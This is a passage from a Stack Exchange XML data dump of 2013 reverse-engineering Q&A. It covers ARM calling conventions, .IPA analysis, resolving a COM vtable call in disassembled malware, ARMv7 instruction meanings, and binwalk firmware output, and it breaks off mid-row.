  <row Id="2819" PostTypeId="2" ParentId="2818" CreationDate="2013-09-21T01:16:42.143" Score="6" Body="&lt;p&gt;There are several different &lt;a href=&quot;http://en.wikipedia.org/wiki/Calling_convention&quot;&gt;calling conventions&lt;/a&gt; around on ARM platforms. They vary both according to the processor features (for example, on processors with floating point registers (VFP), it's more efficient to pass floats around in them, but you lose compatibility with processors without VFP) and according to the operating system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A given installation of an operating system defines one calling convention that all programs must use: the calling convention used by the standard library. Occasionally there may be more than one calling convention on a given system; this requires copies of all libraries for each calling convention.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Android &lt;a href=&quot;http://developer.android.com/tools/sdk/ndk/index.html&quot;&gt;NDK&lt;/a&gt; comes with a toolchain including a C compiler (a version of GCC). This version of GCC is set up for Android's calling convention. There is a separate toolchain for the kernels (the kernel doesn't need to use the same conventions since there are no direct function calls between userland programs and the kernel).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;iOS has several calling conventions for different processor versions. They are described in the &lt;a href=&quot;https://developer.apple.com/library/ios/documentation/Xcode/Conceptual/iPhoneOSABIReference/iPhoneOSABIReference.pdf&quot;&gt;iOS ABI function call guide&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="107" LastActivityDate="2013-09-21T01:16:42.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2820" PostTypeId="2" ParentId="2766" CreationDate="2013-09-21T03:33:58.503" Score="4" Body="&lt;p&gt;As far as I know there are no tools for exploring and interacting with .IPA files like Androguard for.APK files, but since the .IPA is essentially a zip, you can unzip and analyze the key components individually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Key components of the file and associated tools include:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Mach-O&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Mach-O file contains the executable code. This executable is encrypted inside the .ipa file unless it has been dumped and rebuilt from a rooted device. Once dumped and rebuilt the functions, strings, etc. can be viewed with IDA Pro. Objective C can be hard to follow so plug-ins like &lt;a href=&quot;https://github.com/zynamics/objc-helper-plugin-ida&quot; rel=&quot;nofollow&quot;&gt;https://github.com/zynamics/objc-helper-plugin-ida&lt;/a&gt; can be helpful. Also, check out otool and class-dump &lt;a href=&quot;http://www.codethecode.com/projects/class-dump/&quot; rel=&quot;nofollow&quot;&gt;http://www.codethecode.com/projects/class-dump/&lt;/a&gt; .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Plists&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For gathering interesting information I have found the plists (especially iTunesMetadata.plist and the Info.plist). Plists found in the .ipa will either be in a readable XML format or a binary format. To convert binary to readable XML use Apple's plutil(1) or plutil.pl.&lt;/p&gt;&#xA;" OwnerUserId="300" LastActivityDate="2013-09-21T03:33:58.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2821" PostTypeId="2" ParentId="2818" CreationDate="2013-09-21T13:25:46.243" Score="10" Body="&lt;p&gt;While the &quot;GCC compiler&quot; may be the same software (generally speaking), the specific instances used for compiling code here and there can produce quite different output.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;when compiling GCC itself, you can set &lt;a href=&quot;http://gcc.gnu.org/install/configure.html&quot;&gt;hundreds of options&lt;/a&gt;, many of them influencing the generated code.&lt;/li&gt;&#xA;&lt;li&gt;even after building the compiler, every specific compile may use additional options, such as the target chip or architecture level, or specific optimization settings, which will again change the output.&lt;/li&gt;&#xA;&lt;li&gt;in addition to the mainline, official GCC from GNU, there are various forks from different organizations: Linaro GCC, Apple GCC, CodeSourcery GCC, BlackBerry GCC (qcc) and so on. Many of them have custom optimizations or other changes which affect output.&lt;/li&gt;&#xA;&lt;li&gt;even the mainline GCC sometimes has quite drastic changes from one version to another.&lt;/li&gt;&#xA;&lt;li&gt;the interfaces and executable formats may be different for different platforms, which will also affect the result. Android/Linux uses ELF while iOS has Mach-O. These two have different ideas about how things like shared libraries work.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So, in short: no, the output is almost never the same. &lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2013-09-21T13:25:46.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2822" PostTypeId="1" AcceptedAnswerId="2823" CreationDate="2013-09-22T13:25:17.497" Score="17" ViewCount="5015" Body="&lt;p&gt;I'm reversing malware and it uses COM, which I evidently don't know. My question is how to find out what method is called using ppv (and objectstublessclient?)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;push    offset ppv      ; Address of pointer variable that receives the interface pointer requested in riid&#xA;push    offset IShellWindows &#xA;push    7              &#xA;push    0               &#xA;push    offset rclsid   &#xA;call    ds:_CoCreateInstance&#xA;&#xA;mov     ebx, eax&#xA;mov     eax, num4&#xA;movsx   edx, num8&#xA;add     eax, edx&#xA;sub     eax, 0Ch&#xA;cmp     ebx, eax        ; S_OK, operation successful&#xA;jnz     exit&#xA;&#xA;lea     eax, [ebp+var_C]    ;?&#xA;push    eax&#xA;mov     eax, ppv&#xA;push    eax&#xA;mov     edi, [eax]&#xA;call    dword ptr [edi+1Ch] ; ObjectStublessClient7&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I guessed that the last called function is objectStublessClient7 given that there are three methods(queryinterface etc) and then objectStublessClient's (and code looks like it). &lt;em&gt;(Is that right?)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to this Microsoft &lt;a href=&quot;https://web.archive.org/web/20161029205000/https://www.microsoft.com/msj/0199/com/com0199.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;article&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;ObjectStubless simply calls into ObjectStublessClient, passing the method index (from ecx) as a parameter. Finally, ObjectStublessClient teases out the format strings from the vtable and jumps to NdrClientCall2. Like NdrStubCall2, this RPCRT4.DLL routine performs the interpretive marshaling and unmarshaling just as if a compiled proxy and stub were in use. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What does ObjectStublessClient actually do in simple words? Calls a method by its index? If so, then in my case it will be OnActivate of &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/cc836570%28v=vs.85%29.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;IShellWindows interface&lt;/a&gt;? It looks like the arguments don't match (does the first one look like &lt;code&gt;this&lt;/code&gt;?)&lt;/p&gt;&#xA;" OwnerUserId="1887" LastEditorUserId="23069" LastEditDate="2018-05-21T09:29:57.220" LastActivityDate="2018-05-24T20:31:13.507" Title="COM interface methods" Tags="|disassembly|windows|com|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="2823" PostTypeId="2" ParentId="2822" CreationDate="2013-09-22T16:54:49.220" Score="21" Body="&lt;h2&gt;The &lt;em&gt;traditional&lt;/em&gt; way to determine the function pointed to by &lt;code&gt;[edi+1Ch]&lt;/code&gt; is as follows:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Find the &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/aa378712%28v=vs.85%29.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;Interface Definition Language (IDL)&lt;/a&gt; file for the given interface. In your case, the interface is &lt;code&gt;IShellWindows&lt;/code&gt;. According to the &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/cc836570%28v=vs.85%29.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;documentation for &lt;code&gt;IShellWindows&lt;/code&gt;&lt;/a&gt;, its interface is defined in IDL file &lt;code&gt;Exdisp.idl&lt;/code&gt;. That IDL file is included in the &lt;a href=&quot;http://en.wikipedia.org/wiki/Microsoft_Windows_SDK&quot; rel=&quot;nofollow noreferrer&quot;&gt;Windows SDK&lt;/a&gt; (downloadable for free), and will be installed to a location such as &lt;code&gt;C:\Program Files\Microsoft SDKs\Windows\v7.1A\Include\Exdisp.idl&lt;/code&gt;. You can open that &lt;code&gt;Exdisp.idl&lt;/code&gt; file with a text editor to see the Interface Definition of &lt;code&gt;IShellWindows&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[&#xA;    uuid(85CB6900-4D95-11CF-960C-0080C7F4EE85),     // IID_IShellWindows&#xA;    helpstring(&quot;Definition of interface IShellWindows&quot;),&#xA;    oleautomation,&#xA;    dual,&#xA;    odl,&#xA;]&#xA;interface IShellWindows : IDispatch&#xA;{&#xA;    //Properties&#xA;    [propget, helpstring(&quot;Get count of open Shell windows&quot;)]&#xA;    HRESULT Count([out, retval] long *Count);&#xA;&#xA;    //Methods&#xA;    [id(0), helpstring(&quot;Return the shell window for the given index&quot;)]&#xA;    HRESULT Item([in,optional] VARIANT index, [out, retval]IDispatch **Folder);&#xA;&#xA;    [id(-4), helpstring(&quot;Enumerates the figures&quot;)]&#xA;    HRESULT _NewEnum([out, retval] IUnknown **ppunk);&#xA;&#xA;    // Some private hidden members to allow shell windows to add and&#xA;    // remove themself from the list.  We mark them hidden to keep&#xA;    // random VB apps from trying to Register...&#xA;    [helpstring(&quot;Register a window with the list&quot;), hidden]&#xA;    HRESULT Register([in] IDispatch *pid,&#xA;                     [in] long hwnd,&#xA;                     [in] int swClass,&#xA;                     [out]long *plCookie);&#xA;&#xA;    [helpstring(&quot;Register a pending open with the list&quot;), hidden]&#xA;    HRESULT RegisterPending([in] long lThreadId,&#xA;                     [in] VARIANT* pvarloc,     // will hold pidl that is being opened.&#xA;                     [in] VARIANT* pvarlocRoot, // Optional root pidl&#xA;                     [in] int swClass,&#xA;                     [out]long *plCookie);&#xA;&#xA;    [helpstring(&quot;Remove a window from the list&quot;), hidden]&#xA;    HRESULT Revoke([in]long lCookie);&#xA;    // As an optimization, each window notifies the new location&#xA;    // only when&#xA;    //  (1) it's being deactivated&#xA;    //  (2) getFullName is called (we overload it to force update)&#xA;    [helpstring(&quot;Notifies the new location&quot;), hidden]&#xA;    HRESULT OnNavigate([in]long lCookie, [in] VARIANT* pvarLoc);&#xA;    [helpstring(&quot;Notifies the activation&quot;), hidden]&#xA;    HRESULT OnActivated([in]long lCookie, [in] VARIANT_BOOL fActive);&#xA;    [helpstring(&quot;Find the window based on the location&quot;), hidden]&#xA;    HRESULT FindWindowSW([in] VARIANT* pvarLoc,&#xA;                         [in] VARIANT* pvarLocRoot, /* unused */&#xA;                         [in] int swClass,&#xA;                         [out] long * phwnd,&#xA;                         [in] int swfwOptions,&#xA;                         [out,retval] IDispatch** ppdispOut);&#xA;    [helpstring(&quot;Notifies on creation and frame name set&quot;), hidden]&#xA;    HRESULT OnCreated([in]long lCookie,[in] IUnknown *punk);&#xA;&#xA;    [helpstring(&quot;Used by IExplore to register different processes&quot;), hidden]&#xA;    HRESULT ProcessAttachDetach([in] VARIANT_BOOL fAttach);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We can see that the &lt;code&gt;IShellWindows&lt;/code&gt; interface has the following &lt;a href=&quot;http://en.wikipedia.org/wiki/Virtual_method_table&quot; rel=&quot;nofollow noreferrer&quot;&gt;vtable&lt;/a&gt; entries:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;- Count()&#xA;- Item()&#xA;- _NewEnum()&#xA;- Register()&#xA;- RegisterPending()&#xA;- Revoke()&#xA;- OnNavigate()&#xA;- OnActivated()&#xA;- FindWindowSW()&#xA;- OnCreated()&#xA;- ProcessAttachDetach()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, you can also see in the IDL that the &lt;code&gt;IShellWindows&lt;/code&gt; interface inherits from &lt;code&gt;IDispatch&lt;/code&gt;. &lt;code&gt;IDispatch&lt;/code&gt; has the following vtable entries (from &lt;code&gt;OAIdl.idl&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;- GetTypeInfoCount()&#xA;- GetTypeInfo()&#xA;- GetIDsOfNames()&#xA;- Invoke()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The IDL for &lt;code&gt;IDispatch&lt;/code&gt; in &lt;code&gt;OAIdl.idl&lt;/code&gt; also specifies that &lt;code&gt;IDispatch&lt;/code&gt; inherits from &lt;code&gt;IUnknown&lt;/code&gt;. &lt;code&gt;IUnknown&lt;/code&gt; has the following vtable entries (from &lt;code&gt;Unknwn.idl&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;- QueryInterface()&#xA;- AddRef()&#xA;- Release()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So now we know that &lt;code&gt;IShellWindows&lt;/code&gt; inherits from &lt;code&gt;IDispatch&lt;/code&gt;, which inherits from &lt;code&gt;IUnknown&lt;/code&gt;. As such, the full layout of the vtable for &lt;code&gt;IShellWindows&lt;/code&gt; is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;*ppv+00h = QueryInterface()&#xA;*ppv+04h = AddRef()&#xA;*ppv+08h = Release()&#xA;*ppv+0Ch = GetTypeInfoCount()&#xA;*ppv+10h = GetTypeInfo()&#xA;*ppv+14h = GetIDsOfNames()&#xA;*ppv+18h = Invoke()&#xA;*ppv+1Ch = Count()&#xA;*ppv+20h = Item()&#xA;*ppv+24h = _NewEnum()&#xA;*ppv+28h = Register()&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Looking back at your code, we see a call to &lt;code&gt;*ppv+1Ch&lt;/code&gt;, which we see from our constructed vtable above is a call to the function &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/cc836569%28v=vs.85%29.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;IShellWindows::Count()&lt;/code&gt;&lt;/a&gt;, and &lt;code&gt;&amp;amp;var_C&lt;/code&gt; is the pointer to &lt;code&gt;IShellWindows::Count()&lt;/code&gt;'s &lt;code&gt;[out, retval]  long *Count&lt;/code&gt; parameter.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;The &lt;em&gt;dynamic&lt;/em&gt; way to determine the function pointed to by &lt;code&gt;[edi+1Ch]&lt;/code&gt; is as follows:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Run your code above in a debugger, set a breakpoint on &lt;code&gt;call    dword ptr [edi+1Ch]&lt;/code&gt;, and see what function that instruction calls.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;The &lt;em&gt;easiest&lt;/em&gt; way to determine the function pointed to by &lt;code&gt;[edi+1Ch]&lt;/code&gt; is as follows:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Use &lt;a href=&quot;http://www.japheth.de/COMView.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;COMView&lt;/a&gt; (&lt;a href=&quot;https://web.archive.org/web/20140614155346/http://www.japheth.de/COMView.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;wayback machine link to COMView&lt;/a&gt;) to inspect the &lt;code&gt;IShellWindows&lt;/code&gt; interface:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KCaYn.png&quot; alt=&quot;&amp;lt;code&amp;gt;IShellWindows&amp;lt;/code&amp;gt; vtable in COMView&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see in the screenshot above that the function at vtable offset 28 (1Ch) is &lt;code&gt;Count()&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="99" LastEditDate="2018-05-24T20:31:13.507" LastActivityDate="2018-05-24T20:31:13.507" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="2824" PostTypeId="2" ParentId="2756" CreationDate="2013-09-22T21:02:40.220" Score="3" Body="&lt;p&gt;Extract the image from memory using its section headers, dump to a file, have IDA call another version of itself in batch mode to rebase dump, IDC export, and exit, then run that IDC file and the data should overlay just fine&lt;/p&gt;&#xA;" OwnerUserId="2868" LastEditorUserId="245" LastEditDate="2013-09-23T22:50:21.650" LastActivityDate="2013-09-23T22:50:21.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2825" PostTypeId="1" AcceptedAnswerId="2826" CreationDate="2013-09-23T03:14:55.120" Score="8" ViewCount="274" Body="&lt;p&gt;I am disassembling and reverse engineering the logic of an assembly routine written in ARMv7 (hope I'm using the right terminology, as I'm a newbie for this particular processor).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In doing so, I came across this site: &lt;a href=&quot;http://www.davespace.co.uk/arm/introduction-to-arm/pc.html&quot; rel=&quot;nofollow&quot; title=&quot;Introduction to ARM&quot;&gt;Introduction to ARM&lt;/a&gt;. In order to determine how much code I need to disassemble, first, I need to determine the length of the code. It is my understanding that I only need to look for &lt;code&gt;[Bxx][2]&lt;/code&gt; (branch) instructions and instructions that alter the PC (program counter), for example, &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;MOV PC, r14&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;POP {r4, r5, pc}&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Can someone please advise if I have missed out any instructions that I need to look out for? Thank you.&lt;/p&gt;&#xA;" OwnerUserId="2871" LastEditorUserId="53" LastEditDate="2014-05-27T20:45:41.890" LastActivityDate="2014-05-27T20:45:41.890" Title="How do I determine the length of a routine on ARMv7?" Tags="|disassembly|arm|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2826" PostTypeId="2" ParentId="2825" CreationDate="2013-09-23T10:57:58.227" Score="7" Body="&lt;p&gt;Here's what IDA considers a return in ARM:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;RET&lt;/code&gt; (=&lt;code&gt;MOV PC, LR&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;POP {reglist}&lt;/code&gt; if &lt;code&gt;reglist&lt;/code&gt; includes &lt;code&gt;LR&lt;/code&gt; or &lt;code&gt;PC&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;LDMFD SP, {reglist}&lt;/code&gt;, &lt;code&gt;LDMED SP, {reglist}&lt;/code&gt; or &lt;code&gt;LDMDB R11, {reglist}&lt;/code&gt; if &lt;code&gt;reglist&lt;/code&gt; includes &lt;code&gt;LR&lt;/code&gt; or &lt;code&gt;PC&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;LDR PC, [SP], #4&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;BX LR&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;BX reg&lt;/code&gt; if preceded by &lt;code&gt;POP {reglist}&lt;/code&gt; and &lt;code&gt;reglist&lt;/code&gt; includes &lt;code&gt;reg&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="60" LastActivityDate="2013-09-23T10:57:58.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2827" PostTypeId="2" ParentId="2817" CreationDate="2013-09-23T14:00:52.567" Score="2" Body="&lt;p&gt;Ok, this can be tackled in a great number of ways. As you recently learned DLL injection a fun exercise is to use this knowledge to overwrite a function :) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A good start is the &lt;a href=&quot;https://www.htbridge.com/publications/inline_hooking_in_windows.html&quot; rel=&quot;nofollow&quot;&gt;Inline Hooking in Windows Presentation by High-Tech Bridge&lt;/a&gt; and &lt;a href=&quot;http://www.codeproject.com/Articles/2082/API-hooking-revealed&quot; rel=&quot;nofollow&quot;&gt;this codeproject&lt;/a&gt; page. What you do is overwrite the function. What you'll have to to in order to redirect the &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/aa365747%28v=vs.85%29.aspx&quot; rel=&quot;nofollow&quot;&gt;WriteFileA&lt;/a&gt; to your own write function. This allows you to trace-back by walking the return values to determine the flow of the data. You can also examine the way data is written (once or by chunks).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also Trace the application, check the addresses of data that is collected, see if it gets parsed though some kind of encryption or compression algorithm. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope I am some form of help. :) &lt;/p&gt;&#xA;" OwnerUserId="2035" LastActivityDate="2013-09-23T14:00:52.567" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2828" PostTypeId="1" AcceptedAnswerId="2829" CreationDate="2013-09-23T15:51:42.213" Score="5" ViewCount="9314" Body="&lt;p&gt;I have some ARMv7 instructions that I do not understand, despite reading the reference at: &lt;a href=&quot;http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.dui0040d/Cihcaahe.html&quot; rel=&quot;noreferrer&quot;&gt;ARM Information Center&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the context of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  a7a4d8:   b530        push    {r4, r5, lr}&#xA;  a7a4da:   466c        mov r4, sp&#xA;  a7a4dc:   4605        mov r5, r0&#xA;  a7a4de:   682a        ldr r2, [r5, #0]&#xA;  a7a4e0:   ebad 0d02   sub.w   sp, sp, r2&#xA;  a7a4e4:   f104 0014   add.w   r0, r4, #20 ; 0x14&#xA;  a7a4e8:   4669        mov r1, sp&#xA;  a7a4ea:   b082        sub sp, #8&#xA;  a7a4ec:   466a        mov r2, sp&#xA;  a7a4ee:   462b        mov r3, r5&#xA;  a7a4f0:   f746 f1b8   bl  5c0864 &amp;lt;RoutineName&amp;gt;&#xA;  a7a4f4:   9800        ldr r0, [sp, #0]&#xA;  a7a4f6:   9901        ldr r1, [sp, #4]&#xA;  a7a4f8:   46a5        mov sp, r4&#xA;  a7a4fa:   bd30        pop {r4, r5, pc}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What does the following do? Can someone explain in terms of pseudo-code?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  a7a4de:   682a        ldr r2, [r5, #0]&#xA;  a7a4e0:   ebad 0d02   sub.w   sp, sp, r2&#xA;  a7a4e4:   f104 0014   add.w   r0, r4, #20 ; 0x14&#xA;&#xA;  a7a4f4:   9800        ldr r0, [sp, #0]&#xA;  a7a4f6:   9901        ldr r1, [sp, #4]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2871" LastActivityDate="2013-09-23T19:17:21.470" Title="What do the following ARM instructions mean?" Tags="|disassembly|arm|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2829" PostTypeId="2" ParentId="2828" CreationDate="2013-09-23T17:51:59.130" Score="5" Body="&lt;p&gt;&lt;code&gt;ldr r2, [r5, #0]&lt;/code&gt;&lt;br&gt;&#xA;means r2=*(r5+0)&lt;br&gt;&#xA;which loads the value pointed to by r5 and places it in r2.&lt;br&gt;&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;sub.w   sp, sp, r2&lt;/code&gt;&lt;br&gt;&#xA;means sp=sp-r2&lt;br&gt;&#xA;which subtracts sp by the value in r2 (to allocate stack space).&lt;br&gt;&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;add.w   r0, r4, #20 ; 0x14&lt;/code&gt;&lt;br&gt;&#xA;means r0=r4+20&lt;br&gt;&#xA;which adds 20 (decimal) to r4 and places the result in r0.&lt;br&gt;&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;ldr r0, [sp, #0]&lt;/code&gt;&lt;br&gt;&#xA;means r0=*(sp+0)&lt;br&gt;&#xA;which loads the value pointed to by sp and places it in r0.&lt;br&gt;&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;ldr r1, [sp, #4]&lt;/code&gt;&lt;br&gt;&#xA;means r1=*(sp+4)&lt;br&gt;&#xA;which loads the value pointed to by (sp+4) and places it in r1.&lt;br&gt;&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In C pseudo-code it looks something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;x_a7a4d8(dword *ptr_allocsize, void *arg1)&#xA;{&#xA;  alloca(*ptr_allocsize)&#xA;  dword p2;&#xA;  qword p1;&#xA;  x_5c0864(&amp;amp;arg1, &amp;amp;p1, &amp;amp;p2, ptr_allocsize)&#xA;  return p1;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so it allocates some space for the value returned by the 5c0864 routine (because it uses the stack to return the value), calls the 5c0864 routine, and returns the value returned by 5c0864.&lt;/p&gt;&#xA;" OwnerUserId="1323" LastEditorUserId="245" LastEditDate="2013-09-23T19:17:21.470" LastActivityDate="2013-09-23T19:17:21.470" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2830" PostTypeId="1" AcceptedAnswerId="2831" CreationDate="2013-09-24T08:58:16.033" Score="8" ViewCount="1359" Body="&lt;p&gt;I'm trying to extract this firmware but I'm running into some issues. The first lecture of the firmware with binwalk shows this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DECIMAL     HEX         DESCRIPTION&#xA;-------------------------------------------------------------------------------------------------------------------&#xA;48          0x30        LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 992240 bytes&#xA;275832      0x43578     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 65011 bytes&#xA;312165      0x4C365     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 6425 bytes&#xA;314338      0x4CBE2     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 6198 bytes&#xA;316542      0x4D47E     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 11645 bytes&#xA;319496      0x4E008     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 9923 bytes&#xA;322366      0x4EB3E     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 3981 bytes&#xA;323721      0x4F089     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 1269 bytes&#xA;324228      0x4F284     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 9785 bytes&#xA;327024      0x4FD70     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 9717 bytes&#xA;329754      0x5081A     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 9957 bytes&#xA;332630      0x51356     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 4544 bytes&#xA;334066      0x518F2     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 378 bytes&#xA;334305      0x519E1     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 1019 bytes&#xA;334787      0x51BC3     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 12756 bytes&#xA;338395      0x529DB     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 16497 bytes&#xA;343482      0x53DBA     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 11019 bytes&#xA;347416      0x54D18     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 39577 bytes&#xA;358366      0x577DE     JPEG image data, JFIF standard  1.02&#xA;358907      0x579FB     JPEG image data, JFIF standard  1.02&#xA;359442      0x57C12     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 1787 bytes&#xA;361070      0x5826E     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 893 bytes&#xA;361902      0x585AE     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 637 bytes&#xA;362528      0x58820     JPEG image data, JFIF standard  1.02&#xA;363522      0x58C02     JPEG image data, JFIF standard  1.02&#xA;364963      0x591A3     JPEG image data, JFIF standard  1.01&#xA;376049      0x5BCF1     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 683 bytes&#xA;376714      0x5BF8A     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 761 bytes&#xA;377462      0x5C276     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 225 bytes&#xA;377638      0x5C326     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 4146 bytes&#xA;378953      0x5C849     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 1487 bytes&#xA;379723      0x5CB4B     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 2240 bytes&#xA;380729      0x5CF39     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 1527 bytes&#xA;381510      0x5D246     LZMA compressed data, properties: 0x5D, dictionary size: 